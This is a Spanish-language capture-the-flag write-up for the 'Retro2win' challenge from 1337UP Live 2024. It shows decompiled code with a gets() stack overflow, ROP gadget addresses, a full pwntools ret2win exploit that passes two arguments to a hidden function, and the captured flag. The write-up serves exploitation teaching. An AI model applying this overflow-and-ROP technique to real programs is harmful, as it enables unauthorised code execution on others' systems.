Retro2win 1337UP Live

naibu3 · November 18, 2024

Este es el otro reto que resolví de la 1337UP Live de 2024. Es otro ret2win con parámetros pero me pareció otro buen ejemplo de este tipo de ataque.

Image

Overview

El enunciado no nos da muchas pistas:

So retro.. So winning..

Reconocimiento

Analizando con checksec:

	Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Seguimos descompilando con ghidra, vemos que se nos da a elegir entre varias opciones:

undefined8 main(void)

{
  int input;
  
  do {
    while( true ) {
      while( true ) {
        show_main_menu();
        __isoc99_scanf(&DAT_00400c19,&input);
        getchar();
        if (input != 2) break;
        battle_dragon();
      }
      if (2 < input) break;
      if (input == 1) {
        explore_forest();
      }
      else {
LAB_0040093b:
        puts("Invalid choice! Please select a valid option.");
      }
    }
    if (input == 3) {
      puts("Quitting game...");
      return 0;
    }
    if (input != 1337) goto LAB_0040093b;
    enter_cheatcode();
  } while( true );
}
void battle_dragon(void)

{
  puts("You encounter a ferocious dragon!");
  puts("But it\'s too strong for you...");
  puts("Only if you had some kind of cheat...\n");
  return;
}

Estas funciones no parecen interesantes, pero enter_cheatcode sí, ya que utiliza la función vulnerable gets, lo que nos permite explotar una vulnerabilidad de tipo Buffer Overflow.

void enter_cheatcode(void)

{
  char local_18 [16];
  
  puts("Enter your cheatcode:");
  gets(local_18);
  printf("Checking cheatcode: %s!\n",local_18);
  return;
}

Para saltar tenemos la función cheat_mode, que en caso de recibir dos parámetros concretos nos dará la flag:

void cheat_mode(long param_1,long param_2)

{
  char *pcVar1;
  char local_58 [72];
  FILE *local_10;
  
  if ((param_1 == 0x2323232323232323) && (param_2 == 0x4242424242424242)) {
    puts("CHEAT MODE ACTIVATED!");
    puts("You now have access to secret developer tools...\n");
    local_10 = fopen("flag.txt","r");
    if (local_10 == (FILE *)0x0) {
      puts("Error: Could not open flag.txt");
    }
    else {
      pcVar1 = fgets(local_58,0x40,local_10);
      if (pcVar1 != (char *)0x0) {
        printf("FLAG: %s\n",local_58);
      }
      fclose(local_10);
    }
  }
  else {
    puts("Unauthorized access detected! Returning to main menu...\n");
  }
  return;
}

Explotación

Con todo esto, sólo necesitamos la dirección a la que saltar:

gdb-peda$ info functions
[...]
0x0000000000400736  cheat_mode
[...]

Y los gadgets para cargar los dos parámetros:

ropper -f retro2win | grep "pop"

0x00000000004009b3: pop rdi; ret; 
0x00000000004009b1: pop rsi; pop r15; ret;

Finalmente creamos un exploit con python y pwntools:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

exe = context.binary = ELF(args.EXE or 'retro2win')

def start(argv=[], *a, **kw):

    if args.REMOTE:
        return remote("", 1337)
    else:
        return process('./retro2win')

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:      Partial RELRO
# Stack:      No canary found
# NX:         NX enabled
# PIE:        No PIE (0x400000)
# Stripped:   No

offset = 24

#0x0000000000400736  cheat_mode
cheat_mode = p64(0x400736)

#0x00000000004009b3: pop rdi; ret;
pop_rdi = p64(0x4009b3)
#0x00000000004009b1: pop rsi; pop r15; ret;
pop_rsi_r15 = p64(0x4009b1)

io = start()

io.recvuntil("option:")
io.sendline("1337")
io.recvuntil("cheatcode:")

payload = offset*b'A'
payload += pop_rdi
payload += p64(0x2323232323232323)
payload += pop_rsi_r15
payload += p64(0x4242424242424242)
payload += p64(0x4242424242424242) # Como el gadget es pop rsi r15, debemos meter un valor basura para r15
payload += cheat_mode

io.sendline(payload)

io.interactive()

Ejecutamos y ya podemos ver la flag:

Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAA\xb3	@!
CHEAT MODE ACTIVATED!
You now have access to secret developer tools...

FLAG: INTIGRITI{3v3ry_c7f_n33d5_50m3_50r7_0f_r372w1n}

Si te ha gustado este post o tienes alguna duda, puedes dejarme un comentario. Y no dudes en leer el resto de writeups de la competición.

Twitter, Facebook